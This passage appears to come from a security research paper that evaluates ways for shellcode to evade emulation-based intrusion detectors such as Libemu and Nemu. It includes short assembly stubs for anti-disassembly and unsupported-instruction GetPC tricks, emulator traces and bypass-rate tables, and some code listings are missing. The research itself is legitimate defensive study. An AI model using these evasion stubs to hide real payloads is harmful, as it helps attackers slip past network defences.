actually	  belongs	  to	  the	  decryption	  routine,	  backward	  dataflow	  analysis	  is	  used	  again	  
and	  the	  instruction	  sequence	  that	  defines	  all	  the	  remaining	  variables	  is	  picked	  (or,	  if	  
multiple	  ones	  qualify,	  the	  longest	  one	  is	  chosen).	  The	  instruction	  sequence	  obtained	  
using	  this	  two-­‐way	  traversal	  is	  passed	  to	  the	  emulator.	  
The	   emulator	   is	   used	   in	   order	   to	   be	   able	   to	   faithfully	   analyze	   self-­‐modifying	  
decryption	  routines.	  This	  is	  done	  by	  emulating	  the	  decryptor	  candidates.	  Emulation	  
proceeds	  until	  a	  decryption	  loop	  is	  detected	  or	  an	  illegal	  instruction	  is	  encountered.	  
If	  a	  memory	   location	   is	  modified	   that	   is	  within	   the	  emulated	  address	   space	  of	   the	  
code,	  this	  fact	  is	  noted	  as	  evidence	  for	  the	  existence	  of	  a	  decryption	  routine.	  If	  the	  
address	  of	  a	  branching	   instruction	  points	   somewhere	   inside	   the	  network	   flow,	   the	  
forward	   traversal	   is	   continued,	   otherwise	   it	   is	   stopped.	   It	   is	   verified	   that	   the	  
detected	  code	  is	  a	  decryption	  routine	  by	  checking	  whether	  it	  satisfies	  two	  properties	  
typical	  of	  such	  code:	  
o In	  a	  detected	   loop,	   there	  must	  be	  a	  memory-­‐write	   instruction	   that	  
uses	  indirect	  addressing.	  In	  addition,	  the	  memory	  address	  points	  to	  
a	  location	  inside	  the	  network	  traffic.	  	  
o The	   register	   holding	   the	   address	   or	   offset	  must	   be	  updated	  within	  
the	  loop.	  Otherwise	  the	  same	  memory	  location	  will	  be	  written	  over	  
and	   over.	   In	   the	   current	   prototype,	   they	   only	   look	   for	   instructions	  
that	  will	  update	  the	  register	  value	  in	  predictable	  and	  regular	  ways.	  	  
	  
If	  both	  properties	  hold,	  the	  network	  flow	  is	  considered	  to	  contain	  polymorphic	  
shellcode.	  
4. Evading	  EBNIDS	  
	  
In	   this	   section	  we	  present	  a	  number	  of	  evasion	   techniques	   that	   can	  be	  applied	   to	  
ensure	  that	  polymorphic	  shellcodes	  are	  not	  detected	  by	  state-­‐of-­‐the-­‐art	  EBNIDSes.	  
We	  present	   the	  evasion	   techniques	  based	  on	   the	   type	  of	  weakness	   in	   the	  EBNIDS	  
that	   we	   exploit	   to	   avoid	   detection.	   We	   identify	   two	   types	   of	   weaknesses:	   (1)	  
implementation	  limitations	  and	  (2)	  intrinsic	  limitations.	  
	  While	   we	   acknowledge	   that	   the	   first	   type	   of	   weakness	   could	   be	   mitigated	   by	  
investing	  more	  time	  and	  resources	   in	   the	   implementation	  of	   the	  EBNIDS	  (e.g.	  by	  a	  
major	   security	   vendor),	  we	   think	   intrinsic	   limitations	   cannot	   be	  permanently	   fixed	  
with	  the	  current	  design	  of	  EBNIDSes:	  There	  will	  always	  be	  an	  emulation	  gap	  that	  can	  
be	   exploited	   to	   avoid	   detection.	   Given	   a	   target	   system	   T	   and	   an	   emulator	   E	  
(integrated	   into	   the	   EBNIDS)	   seeking	   to	   emulate	   T,	   the	   emulation	   fidelity	   is	  
determined	   by	   E’s	   capacity	   to	   a)	   behave	   as	   T	   (e.g.,	   by	   ensuring	   CPU	   instructions	  
behave	  in	  the	  same	  way,	  or	  the	  same	  API	  calls	  are	  available)	  and	  b)	  have	  the	  same	  
context	  as	  T	  at	  any	  given	  moment	  (e.g.,	  the	  same	  memory	  image,	  CPU	  state,	  user-­‐
dependent	   information,	   etc.).	  We	   call	   emulation	   gap	   the	   behavior	   or	   information	  
present	  in	  T	  but	  not	  in	  E.	  An	  attacker	  who	  is	  aware	  of	  this	  gap	  can	  use	  it	  to	  construct	  
shellcode	   (e.g.,	   an	   encoder)	   integrating	   this	   information	   in	   such	   a	   way	   that	   the	  
shellcode	  will	  run	  correctly	  on	  T	  but	  not	  on	  E,	  thus	  avoiding	  detection.	  We	  conduct	  a	  
series	  of	  practical	  tests,	  consisting	  of	  implementing	  the	  different	  evasion	  techniques	  
and	   testing	   if	   state-­‐of-­‐the-­‐art	   EBNIDSes	   are	   capable	   of	   detection.	   These	   tests	   will	  
also	   give	   indications	   of	   the	   feasibility	   of	   implementing	   the	   different	   evasion	  
techniques.	  We	   select	   Libemu	   and	   Nemu	   as	   our	   test	   EBNIDSes	   because	   they	   are	  
broadly	  used	  as	  detection	  mechanisms	  as	  part	  of	  large	  honeynet	  projects	  [10,	  11].	  
Libemu	   [12]	   is	   a	   library	  which	   offers	   basic	   x86	   emulation	   and	   shellcode	   detection	  
using	   GetPC	   heuristics.	   It	   is	   designed	   to	   be	   used	   within	   network	   intrusion	  
prevention/detections	   and	   honeypots.	   The	   detection	   algorithm	   of	   Libemu	   is	  
implemented	   by	   iteratively	   executing	   the	   pre-­‐processing,	   emulation	   and	   heuristic-­‐	  
based	  detection	  steps	  for	  each	  instruction,	  starting	  from	  an	  entry	  point	  identified	  by	  
GetPC	   code	   seeding	   instructions.	   This	   process	   resembles	   the	   typical	   fetch-­‐decode-­‐
execute	   cycle	   of	   real	   CPUs.	   The	   libdasm	   disassembly	   library	   handles	   instruction	  
decoding,	  while	  the	  emulation	  and	  heuristic-­‐based	  detection	  steps	  is	  the	  core	  of	  the	  
library	   implementation.	   We	   use	   Libemu	   in	   its	   default	   configuration,	   in	   which	  
shellcodes	  are	  detected	  only	  by	  means	  of	   the	  GetPC	  code	  heuristic.	  We	  download	  
Libemu	   (version	   0.2.0)	   from	   the	   official	   project	   website,	   and	   use	   the	   pylibemu	  
wrapper	  to	  feed	  our	  shellcodes	  to	  the	  EBNIDS.	  	  
Nemu	   is	   a	   stand-­‐alone	   detector	  with	   the	   built-­‐in	   capability	   of	   processing	   network	  
traces	  both	  online	  and	  offline	  (e.g.,	  from	  PCAP	  traces)	  as	  well	  as	  raw	  binary	  data	  to	  
detect	   shellcode.	   Similarly	   to	   Libemu,	   the	   detection	   algorithm	   of	   Nemu	   is	  
implemented	   iteratively	  by	  applying	  pre-­‐processing,	  emulation	  and	  heuristic-­‐based	  
detection	   for	   each	   instruction.	   Also	   in	   this	   case,	   the	   libdasm	   disassembly	   library	  
handles	   instruction	   decoding,	   while	   the	   emulation	   and	   heuristic-­‐based	   detection	  
steps	  are	  the	  core	  of	  the	  tool	  implementation.	  We	  receive	  Nemu	  from	  the	  author	  in	  
2014.	  When	  carrying	  out	  our	  tests	  we	  notice	  that	  the	  version	  of	  Nemu	  we	  received	  
includes	  all	  the	  heuristics	  described	  in	  previous	  section,	  except	  the	  one	  for	  detecting	  
WX	   instructions,	   but	   including	   the	   additional	   heuristics	   related	   to	   resolving	  
Kernel32.dll	  address	  and	  SEH-­‐based	  GetPC	  code	  introduced	  in	  Gene	  [3].	  The	  author	  
confirms	   our	   finding.	   In	   more	   detail,	   a	   GetPC	   code	   heuristic	   is	   first	   used	   to	  
determine	   the	   entry	   point	   of	   the	   shellcode.	   During	   emulation,	   eight	   individual	  
heuristics	  detect	  Kernel32.dll	  base	  address	   resolution	   (seven	   targeting	   the	  Process	  
Environment	   Block	   resolution	   method	   and	   one	   targeting	   the	   Backward	   Searching	  
resolution	  method)	  and	  one	  heuristic	  detects	  self-­‐modifying	  code	  using	  the	  Payload	  
Read	   Threshold.	   Finally,	   a	   combination	   of	   the	   Process	  memory	   scanning	   and	   SEH-­‐
based	   GetPC	   heuristics	   is	   used	   after	   detection	   as	   a	   second-­‐stage	   mechanism	   to	  
reduce	  the	  amount	  of	  false	  positives.	  
To	   verify	  our	  evasion	   techniques,	  we	   first	   collect	   a	   set	  of	   samples	   that	   trigger	   the	  
detection	   of	   both	   Libemu	   and	   Nemu.	   For	   Libemu,	   we	   create	   a	   simple	   shellcode	  
consisting	   of	   GetPC	   instructions	   followed	   by	   a	   number	   of	   NOP	   instructions.	   For	  
Nemu,	  we	  use	  eight	  shellcodes	  provided	  as	  sanity	  tests,	  each	  triggering	  one	  of	  the	  
Kernel32.dll	   heuristics.	   In	   addition,	   we	   write	   a	   simple	   self-­‐modifying	   shellcode	   to	  
trigger	  the	  Payload	  Read	  heuristic.	  To	  do	  this	  we	  encode	  a	  plain	  shellcode	  by	  XORing	  
it	  with	  a	  random	  key	  and	  prepending	  a	  decoder	  that	  first	  performs	  a	  GetPC	  and	  then	  
extracts	  the	  encoded	  payload	  on	  the	  stack	  and	  executes	  it.	  We	  then	  verify	  that	  both	  
Libemu	  and	  Nemu	  can	  detect	  the	  shellcodes	  we	  created.	  
	  
	  
	  4.1. Evasions	  Exploiting	  Implementation	  Limitations	  
4.1.1 Anti	  Disassembly:	  
	  
In	  most	  EBNIDSes,	  static	  analysis	  is	  applied	  in	  the	  pre-­‐processing	  step	  to	  determine	  
which	   sequences	   of	   bytes	   should	   be	   emulated.	   This	   makes	   these	   EBNIDSes	  
susceptible	  to	  anti-­‐disassembly	  techniques	  aimed	  at	  preventing	  the	  pre-­‐processor	  to	  
correctly	  decode	  the	  shellcode	  instructions.	  
For	   example,	   the	   EBNIDS	   presented	   in	   [8]	   proposes	   a	   hybrid	   approach	  which	   first	  
uses	   static	   techniques	   to	   detect	   a	   form	   of	   GetPC	   code	   and	   then	   applies	   two-­‐way	  
traversal	   and	   backward	   data-­‐flow	   analysis	   to	   pinpoint	   likely	   decryption	   routines,	  
which	   are	   then	   passed	   on	   to	   an	   emulator.	   Based	   on	   this	   approach,	   disassembly	  
starts	   from	   the	   GetPC	   seeding	   instruction	   and,	   upon	   encountering	   an	   instruction	  
that	   could	   indicate	   conditional	   branching	   or	  memory-­‐writing	   behaviors,	   backward	  
data-­‐flow	  analysis	   is	   applied	   to	  obtain	  an	   instruction	   chain	   that	   fills-­‐in	  all	   required	  
variables.	  Conditional	  branching,	  self-­‐modifying	  code	  and	  indirect	  addressing	  (using	  
runtime-­‐generated	  values)	  can	  be	  used	  to	  prevent	  this	  process	  to	  succeed.	  
	  
Most	   emulation-­‐based	   approaches	   are	   usually	   a	   hybrid	   mix	   of	   static	   analysis	  
techniques	   in	   combination	  with	   emulation-­‐based	   techniques,	   in	   order	   to	   improve	  
efficiency	   and	   performance.	   Usually,	   static	   analysis	   is	   applied	   in	   some	   fashion	   to	  
determine	   which	   instruction	   sequence	   should	   be	   emulated.	   Such	   an	   approach	  
increases	  susceptibility	  to	  anti-­‐disassembly	  techniques	  aimed	  at	  the	  pre-­‐processing	  
steps	  before	  emulation	  is	  applied.	  
The	   approach	   outlined	   in	   [3]	   proposes	   a	   hybrid	   approach	   that	   first	   uses	   static	  
techniques	   to	   detect	   a	   form	   of	   GetPC	   code	   and	   apply	   two-­‐way	   traversal	   and	  
backward	   data-­‐flow	   analysis	   to	   pinpoint	   likely	   decryption	   routine	   which	   are	   then	  
passed	   on	   to	   an	   emulator.	   These	   steps	   compose	   a	   pre-­‐processing	   procedure	   and	  
rely	   on	   recursive	   traversal	   disassembly,	   which	   can	   be	   thwarted	   by	   conditional	  
branching,	  self-­‐modifying	  code	  and	  relying	  on	  runtime-­‐generated	  values.	  In	  order	  to	  
mitigate	   this,	   two-­‐way	   traversal	   and	   backward	   data-­‐flow	   analysis	   are	   employed.	  
These	   techniques	   apply	   disassembly	   starting	   from	   the	   GetPC	   seeding	   instruction	  
and,	  upon	  encountering	  an	  instruction	  that	  could	  indicate	  conditional	  branching	  or	  
memory-­‐writing	   behavior,	   applies	   backward	   data-­‐flow	   analysis	   to	   obtain	   an	  
instruction	   chain	   that	   fills	   in	   all	   required	   variables.	   It	   is	   argued	   that	   self-­‐modifying	  
code	   or	   indirect	   addressing	   is	   unlikely	   to	   appear	   before	   the	   GetPC	   code,	   as	   this	  
requires	  a	  base-­‐address	  for	  referencing.	  However,	  this	  is	  not	  the	  case.	  First	  of	  all,	  it	  
is	  possible	  for	  an	  attacker	  to	  construct	  its	  shellcode	  itself	  on	  the	  stack	  in	  a	  dynamic	  




When	   executed,	   the	   first	   instruction	   pushes	   a	   value	   on	   the	   stack.	   However,	   this	  
value	  corresponds	  to	  the	  following	  instruction	  sequence:	  
Pop	  esi	  (0x5E)	  




The	  CALL	  instruction	  then	  transfers	  control	  to	  the	  stack,	  thus	  placing	  the	  address	  of	  
the	   subsequent	   instruction	   in	   the	   ESI	   register	   upon	   completion	   of	   the	   dynamic	  
subroutine.	   Another	   approach	   would	   be	   to	   avoid	   GetPC	   seeding	   instructions	  






The	   first	   three	   instructions	   push	   the	   following	   code	   to	   the	   stack,	  while	   the	   fourth	  
transfers	  control	  to	  it.	  
Jmp	  short	  Label1	  
Label2:	  
Pop	  eax	  






	  	  <Subsequent	  shellcode>	  
	  Here	  the	  entire	  shellcode,	  including	  the	  GetPC	  seeding	  instructions	  (call	  Label2)	  are	  
created	   dynamically	   and	   require	   full	   emulation	   in	   order	   to	   be	   encountered	   in	   an	  
execution	   trace.	   It	   is	   highly	   unfeasible	   to	   detect	   GetPC	   seeding	   instructions	  
contained	   in	   such	   self-­‐modifying	   code	   statically,	   especially	   if	   encoding	   using	   a	  
randomized	   key	   is	   applied	   to	   the	   values.	   In	   the	   absence	   of	   the	   capacity	   to	   detect	  
seeding	  instructions,	  subsequent	  analysis	  will	  fail	  as	  well.	  Secondly,	  even	  if	  seeding	  
instructions	  are	  identified	  correctly,	  backward	  data-­‐flow	  analysis	  could	  be	  thwarted.	  
It	  is	  stated,	  ”To	  choose	  which	  instruction	  sequence	  contains	  this	  code,	  we	  pick	  one	  
that	  defines	  all	   the	   rest	  variables	  or	   is	   the	   longest	  of	  multiple	  qualified	   instruction	  
sequences”.	   This	   means	   that	   when	   several	   plausible	   instruction	   sequences	   are	  
generated,	  an	  attacker	  can	  craft	  a	  bogus	  sequence	  filling	  in	  all	  the	  variables,	  which	  is	  
the	  longest	  of	  all	  possible	  candidates,	  yet,	  not	  the	  correct	  one.	  	  
Yataglass	  [2]	  suffers	  from	  a	  similar	  problem,	  given	  that	  it	  relies	  on	  static	  methods	  to	  
detect	  shellcode	  entry	  points	  as	  stated	  in	  the	  paper:	  ”Yataglass	   is	  designed	  to	  take	  
the	   executable	   portion	   of	   an	   attack	   payload	   as	   its	   input.	   To	   feed	   Yataglass	  
executable	  payloads,	  we	  must	  1)	  identify	  network	  messages	  that	  contain	  shellcodes,	  
and	  2)	  determine	  the	  starting	  points	  of	  code	  execution	  within	  each	  payload.	  There	  
are	  already	  a	  number	  of	   intrusion-­‐detection	  systems,	  such	  as	  Snort	  and	  Bro,	  which	  
can	   monitor	   traffic	   at	   the	   network	   layer	   and	   detect	   shellcode	   attacks.	   Given	   the	  
output	   of	   the	   IDS,	   Yataglass	   starts	   execution	   from	  every	   position	   of	   the	   payload”,	  
this	  means	  that	  Yataglass	  relies	  on	  a	  complementary	  system	  (in	  this	  case,	  signature-­‐
based	  systems	  such	  as	  Snort	  and	  Bro)	  to	  receive	  its	  input.	  Given	  that	  these	  systems	  
largely	  work	  with	   static	  methods,	   they	   can	   be	   circumvented	  with	   the	   appropriate	  
counter-­‐measures.	  
ShellOS	  [4]	  provides	  a	  framework	  for	  fast	  detection	  and	  analysis	  of	  a	  buffer,	  but	  such	  
a	   buffer	   still	   has	   to	   be	   provided	   by	   an	   analyst	   of	   automated	   pre-­‐processor.	   It	   is	  
noted	  that	  such	  an	  effort	  can	  be	  non-­‐trivial	  and	  introduces	  new	  limitations	  (similar	  
to	  the	  ones	  mentioned	  above),	  something	  that	  holds	  for	  all	  VM	  or	  emulation-­‐based	  
detection	   approaches	   the	   authors	   are	   aware	   of.	   Depending	   on	   the	   type	   of	   pre-­‐
processor	  used	  by	  a	  particular	  ShellOS	  implementation,	  this	  could	  introduce	  an	  extra	  
armoring	  vector	  for	  an	  attacker.	  
	  
4.1.1.1	   Evaluation	  of	  Anti	  Disassembly	  Techniques:	  	  
In	  order	  to	  illustrate	  these	  anti-­‐disassembly	  techniques,	  we	  chose	  to	  perform	  a	  
series	  of	  tests	  against	  the	  libemu	  setup.	  
The	  first	  test	  consisted	  of	  a	  piece	  of	  normal	  GetPC	  code	  triggering	  the	  libemu	  GetPC	  
heuristic:	  
00	  >	  JMP	  SHORT	  0x05	  
02	  >	  POP	  EAX	  
03	  >	  JMP	  EAX	  
05	  >	  CALL	  0x02	  
0A	  >	  NOP	  
0B	  >	  NOP	  
	  
In	  order	  to	  demonstrate	  anti-­‐disassembly	  techniques	  aimed	  at	  linear	  disassemblers,	  
we	  constructed	  the	  following	  modified	  GetPC	  code:	  
00	  >	  JMP	  SHORT	  0x07	  
02	  >	  POP	  EAX	  
03	  >	  JMP	  EAX	  
05	  >	  DB	  E8	  
06	  >	  DB	  0A	  
07	  >	  CALL	  0x02	  
0C	  >	  NOP	  
	  
This	  GetPC	  code	  deliberately	  has	  the	  bytes	  0xE8	  and	  0x0A	  inserted	  before	  the	  GetPC	  
seeding	  instruction	  at	  offset	  0x07.	  Linear	  disassemblers,	  which	  ignore	  code	  flow,	  will	  
thus	   misinterpret	   the	   0xE8	   at	   offset	   0x05	   as	   the	   start	   of	   a	   CALL	   instruction	   and	  
incorrectly	   disassemble	   subsequent	   instructions.	  While	   this	   code	   is	   perfectly	   valid	  
GetPC	  code,	   libemu	   fails	   to	  correctly	  emulate	  and	  detect	   it	  as	   this	  execution	   trace	  
shows:	  
in	  <emu_shellcode_test>	  emu_shellcode.c:314>	  
possible	  getpc	  at	  offset	  5	  (00000005)	  
creating	  static	  callgraph	  
testing	  offset	  5	  00000005	  
running	  at	  offset	  4657157	  00471005	  
E870B70000	  call	  0xb775	  
error	  at	  A85B	  test	  al,0x5b	  
brute	  force!	  
brute	  at	  offset	  0x00000005	  
running	  at	  offset	  4657157	  00471005	  
E870B77055	  call	  0x5570b775	  
error	  at	  A85B	  test	  al,0x5b	  
b	  offset	  0x00471005	  steps	  1	  
>failed	  
cpu	  state	  	  	  	  eip=0xfffa5fff	  
eax=0x00000000	  	  ecx=0x00000000	  
edx=0x00000000	  	  ebx=0x00000000	  
esp=0x0012fe98	  	  ebp=0x00000000	  
esi=0x00000000	  	  edi=0x00000000	  
Flags:	  
0100	  add	  [eax],eax	  
cpu	  error	  error	  accessing	  0xfffa5fff	  not	  mapped	  
	  
Additionally,	  we	  tested	  the	  use	  of	  self-­‐modifying/dynamic	  shellcode	  and	  its	  effect	  on	  
libemu’s	  GetPC	  detector	  as	  well.	  We	  tested	  the	  dynamic	  shellcode	  proposed	  by	  Piotr	  
Bania	  and	  mentioned	  above:	  
0	  >	  PUSH	  C390565E	  
5	  >	  CALL	  ESP	  
7	  >	  NOP	  
	  
Since	  the	  shellcode	  contains	  no	  instructions	  that	  are	  qualified	  as	  GetPC	  seeding	  
instructions	  by	  libemu,	  it	  is	  incapable	  of	  detecting	  it:	  
in	  <emu_shellcode_test>	  emu_shellcode.c:314>	  
>	  failed	  
cpu	  state	  	  	  	  eip=0x00416fff	  
eax=0x00000000	  	  ecx=0x00000000	  
edx=0x00000000	  	  ebx=0x00000000	  
esp=0x0012fe98	  	  ebp=0x00000000	  
esi=0x00000000	  	  edi=0x00000000	  
Flags:	  
00685E	  add	  [eax+0x5e],ch	  
	  
We	  tried	  to	  evaluate	  more	  anti-­‐disassembly	  technique	  against	  Nemu	  and	  Libemu	  to	  
explore	   its	   weakness	   against	   such	   techniques.	  We	  made	   a	   trigger	   payload	   for	   all	  
Nemu	   heuristics	   and	   libemu	   GetPC	   codes	   which	   normally	   cause	   the	   Nemu	   and	  
Libemu	   to	   trigger	   an	   alert.	   Then	  we	  wrote	   an	   encoder	   for	   our	   evasion	   test	  which	  
consist	  of	  XORing	  the	  payload	  with	  a	  random	  key	  and	  prepending	  a	  decoder	  with	  a	  
piece	  of	  anti-­‐disassembly	  GetPC	  code,	  if	  the	  anti-­‐disassembly	  works,	  the	  system	  cant	  
correctly	   decrypt	   the	   payload	   and	   no	   trigger	   will	   be	   raised.	   We	   used	   the	   anti-­‐
disassembly	   GetPC	   code	   used	   in	  Metasploit	   antidis.rb	  module.	  We	   used	   the	   anti-­‐
disassembly	   techniques	   purposed	   in	   this	   chapter	   and	   based	   on	   some	   techniques	  
purposed	  by	  Branco	  [13]	  and	  Sikorski	  [14]:	  
1. Use	  of	  garbage	  bytes	  and	  opaque	  predicates:	  The	  insertion	  of	  garbage	  bytes	  
after	   so-­‐called	   opaque	   predicate	   instructions	   (instructions	   which	   seem	   like	  
they	   perform	   a	   function	   that	   can	   only	   be	   evaluated	   at	   run-­‐time	   but	   always	  
yield	   the	   same	   result)	   confuses	   some	   disassemblers	   into	   taking	   the	   bytes	  



















Here	  the	  0xEB	  byte	  gets	  disassembled	  to	  a	  jmp	  short	  instruction	  with	  part	  of	  the	  
mov	  eax,[esp]	  instruction	  as	  it’s	  operand,	  garbling	  the	  rest	  of	  the	  disassembly.	  
	  
2. Push/Pop-­‐math	   stack-­‐constructed	   shellcode:	   Instead	   of	   executing	  
instructions	  directly,	  their	  opcodes	  are	  XORed	  with	  a	  static	  value,	  pushed	  onto	  
the	   stack	   and	   control	   is	   transferred	   to	   the	   stack.	   This	  way,	   full	   emulation	   is	  
required	  to	  obtain	  the	  instructions.	  	  
push_pop_math.asm	  Example:	  
push	  0x40F2326C	  ;	  XOR'ed	  version	  of	  push	  0xEBE0FF58	  ;	  pop	  eax/jmp	  eax/random	  byte	  
	   	   xor	  dword[esp],0xAB12CD34	  
	   	   	   call	  esp	  
	  
3. Code	  transposition:	  A	  piece	  of	  code	  is	  split	  into	  separate	  parts	  and	  rearranged	  
in	   a	   random	  order,	   tied	   together	  with	   several	   jumps.	   In	   addition,	   instead	  of	  
returning	   to	   the	   original	   destination	   of	   a	   call	   operation	   (a	   characteristic	   of	  
GetPC	   code),	   the	   destination	   pushed	   on	   the	   stack	   by	   the	   call	   operation	   is	  
modified	  by	  the	  appropriate	  offset.	  	  
code_transposition.asm:	  
offset_value	  EQU	  (getpc	  -­‐	  third)	  
















4. Flow	   Redirection	   to	   the	   Middle	   of	   an	   Instruction:	   Certain	   instructions	   are	  
crafted	  to	  contain	  other	  instructions	  in	  the	  middle	  of	  their	  opcodes	  (e.g.	  MOV	  
AX,0x0EEB	   contains	   0x0EEB	   which	   is	   opcode	   for	   jmp	   short	   $+0x0E).	   During	  
execution,	   code	   flow	   is	   redirected	   to	   the	  middle	   of	   instructions	   to	   execute	  
those	  ’hidden’	  inside.	  This	  requires	  full	  emulation	  for	  proper	  disassembly.	  	  
flow_redirection.asm:	  
	  
	   mov	  ax,0x0Eeb	  ;	  jmp	  $+0x0E	  to	  {call	  getpc}	  
	   xor	  eax,eax	  
	   jz	  $-­‐4	  ;	  jz	  $-­‐4	  {to	  jmp	  $+5}	  
	  
	   getpc:	  
	   mov	  ebx,0xC324048B	  ;	  mov	  eax,[esp]	  /	  RETN	  
	   xor	  eax,eax	  
	  
	   jz	  $-­‐6	  ;	  	  jz	  $-­‐6	  {to	  mov	  eax...}	  
	  
	   db	  0xb8	  ;	  garbage	  byte	  
	   call	  getpc	  
	  
The	   result	   of	   our	   test	   showed	   that	   we	   could	   100%	   bypass	   the	   libemu	   by	   using	  
Garbage	  bytes,	  Push/Pop	  math	  and	  Gadget	  Scanning	  techniques.	  Nemu	  had	  better	  
performance	  however	   it	   could	  be	  bypassed	  using	  Gadget	   scanning	   technique.	   The	  
result	  of	  Nemu	  can	  be	  shown	  in	  Table	  1.	  




Nemu	   9/9	   9/9	   8/9	   8/9	  
Libemu	   0/1	   1/1	   0/1	   1/1	  
Table	  1.	  The	  result	  of	  Anti	  Disassembly	  Techniques	  against	  Libemu	  and	  Nemu	  
	  
4.1.2	  	   Unsupported	  Instructions	  Limitations:	  	  
	  
Emulators	  are	  based	  on	  a	  typical	  fetch-­‐decode-­‐execute	  cycle	  where	  instruction	  decoding	  is	  
handled	   by	   a	   disassembler.	   Emulation-­‐based	   approaches	   differ	   from	   static	   analysis	   and	  
emulate	  suspect	  input	  for	  evaluation,	  as	  opposed	  to	  static	  disassembly.	  This	  allows	  them	  to	  
follow	  control-­‐flow	  and	  achieve	  the	  required	  program	  state	  to	  fully	  examine	  the	  code.	  As	  
such,	  they	  are	  less	  susceptible	  to	  anti-­‐disassembly	  techniques	  involving	  run-­‐time	  calculated	  
values,	  self-­‐modifying	  code	  and	  control-­‐flow	  obfuscation.	  
However,	  most	  emulation-­‐based	  approaches	  do	  not	  provide	  full	  emulation	  capabilities	  and	  
only	  emulate	  a	  subset	  of	  the	  full	  instruction	  set.	  It	  is	  possible	  for	  an	  attacker	  to	  construct	  
shellcode	   that	   incorporates	   instructions	   not	   covered	   by	   the	   limited	   emulators.	   The	  
approaches	   in	   are	   all	   susceptible	   to	   such	   an	   approach,	   with	   GENE	   as	   presented	   in	   [3]	  
possibly	  being	  susceptible	  as	  well,	  though	  the	  lack	  of	  implementation	  details	  regarding	  the	  
emulator	  of	  choice	  makes	  it	  difficult	  to	  judge.	  The	  approaches	  presented	  by	  Polychronakis	  
et	  al.	  in	  [1]	  and	  [9]	  use	  libdasm	  to	  disassemble	  instructions	  and	  implement	  a	  subset	  of	  the	  
IA-­‐32	   instruction	   including	   most	   general-­‐purpose	   instructions	   but	   no	   FPU,	   MMX	   or	  
SSE/SSE2	   instructions.	   But	   some	   of	   these	   instructions	   are	   essential.	   For	   example	   FPU	  
instructions	   like	   FSTENV	   are	   commonly	   used	   as	   part	   of	   GetPC	   code.	   Additionally	   it	   is	  
possible	   to	   use	   the	   results	   of	   non-­‐emulated	   instructions	   as	   an	   integral	   part	   of	   a	   self-­‐
modifying	   routine.	   The	   hybrid	   approach	   presented	   in	   [3]	   does	   not	   implement	   a	   full	  
emulator	   either	   and	   neither	   does	   Yataglass	   [2].	   In	   Yataglass	   case	   the	   FPU,	   SSE,	   and	  
privileged	  instructions	  are	  not	  emulated.	  It	  did	  not	  cause	  any	  problems	  in	  our	  experiment,	  
but	  attackers	  can	  exploit	  such	  instructions	  to	  evade	  our	  emulator.	  In	  addition	  to	  emulating	  
only	  a	  subset	  of	  the	  IA-­‐32	  instruction	  set,	  the	  presented	  emulators	  all	  provide	  only	  a	  subset	  
of	  full	  system	  functionality,	   in	  the	  form	  of	  system	  call	  emulation,	  virtual	  memory	  and	  the	  
presence	  of	  process	  images.	  An	  attacker	  can	  abuse	  this	  limited	  system	  functionality	  as	  well	  
in	  order	  to	  thwart	  successful	  emulation	  and	  thus	  detection.	  
	  
4.1.2.1	   Unsupported	  Instructions	  Evaluation:	  	  
	  
The	  techniques	  where	  implemented	  in	  the	  same	  way	  as	  the	  anti-­‐disassembly	  techniques,	  a	  
series	   of	   payloads	  was	   generated	  which	  were	   tailored	   to	   trigger	   the	   system	  which	  were	  
then	  encoded	  using	  a	  Metasploit	  XOR	  encoder.	  The	  only	  difference	  was	   that	   in	   this	  case	  
the	  GetPC	  code	  preceding	  the	  decoder	  was	  made	  using	  instructions	  that	  aren’t	  emulated	  
on	  some	  types	  of	  emulators.	  As	  such,	  emulators	  vulnerable	   to	   this	  kind	  of	   thing	  couldn't	  
execute	   the	   GetPC	   code	   (which	   wouldn't	   trigger),	   the	   payloads	   wouldn't	   be	   decoded	  
correctly	   and	   we	   would	   bypass	   the	   system.	   The	   techniques	   were	   based	   on	   using	   the	  
following	  types	  of	  instructions:	  
o FPU	  instructions	  (using	  FNSTENV)	  
o FPU	  instructions	  (using	  FNSAVE)	  
o MMX	  instructions	  
o SSE	  instructions	  
o Using	  instructions	  considered	  obsolete	  or	  'undocumented'	  by	  some	  
disassemblers	  and	  emulators	  
You	  can	  see	  the	  result	  of	  the	  techniques	  in	  Table	  2.	  
	   FPU	  
(FNSTENV)	  
FPU	  (FNSAVE)	   MMX	   SSE	   OBSOL	  
Nemu	   9/9	   0/9	   0/9	   0/9	   0/9	  
Libemu	   1/1	   0/1	   0/1	   0/1	   0/1	  
Table	  2.	  Detection	  rate	  using	  unsupported	  instructions.	  
	  4.1.2.2	   Implementation	  of	  Unsupported	  Instructions:	  
	  
All	  GetPC	  stubs	  were	  implemented	  so	  that	  at	  the	  end	  of	  their	  execution,	  the	  eax	  register	  
would	  contain	  the	  address	  where	  it	  has	  landed.	  
FPU	   (FNSTENV):	   This	   GetPC	   code	   uses	   the	   FNSTENV	   instruction	   to	   store	   the	   FPU	  
environment	   (including	   the	   address	   of	   the	   last	   executed	   FPU	   instruction)	   to	   the	   stack.	  
Preciding	  this	  with	  any	  FPU	  instruction	  allows	  us	  to	  retrieve	  our	  GetPC.	  
	  
FPU	  (FNSAVE):	  Similar	  to	  the	  previous	  one	  but	  with	  a	  more	  often	  overlooked	  instruction.	  
	  
MMX:	  Executes	  a	  regular	  GetPC	  code	  (call	  +	  [esp]	  =>	  eax	  +	  ret	  sequence)	  except	  that	  return	  
address	  is	  moved	  through	  a	  series	  of	  MMX	  registers	  and	  instructions.	  
	  
SSE:	  Executes	  a	  regular	  GetPC	  code	  (call	  +	  [esp]	  =>	  eax	  +	  ret	  sequence)	  except	  that	  return	  
address	   is	   moved	   through	   a	   series	   of	   SSE	   registers	   and	   instructions	   (of	   various	   SSE	  
generations,	  1	  to	  4)	  
	  
OBSOL:	   Executes	   a	   regular	   GetPC	   code	   (call	   +	   [esp]	   =>	   eax	   +	   ret	   sequence)	   except	   that	  
return	   address	   is	  moved	   through	   a	   series	   of	   obsolete/undocumented	   instructions	   often	  
not	  implemented	  by	  emulators	  and	  debuggers.	  
	  
4.1.3	  	   Emulator	  Detection	  
	  
Emulator	  detection	  refers	  to	  a	  class	  of	  techniques	  that	  shellcodes	  can	  use	  to	  detect	  
if	  they	  are	  run	  within	  an	  emulator.	  This	  approach	  relies	  on	  certain	  behavioral	  quirks	  
present	   in	   all	   available	   emulators.	   A	   good	   example	   of	   these	   quirks	   is	   the	  method	  
proposed	   in	   [9],	   in	   which	   the	   emulator	   initializes	   all	   its	   eight	   general	   purpose	  
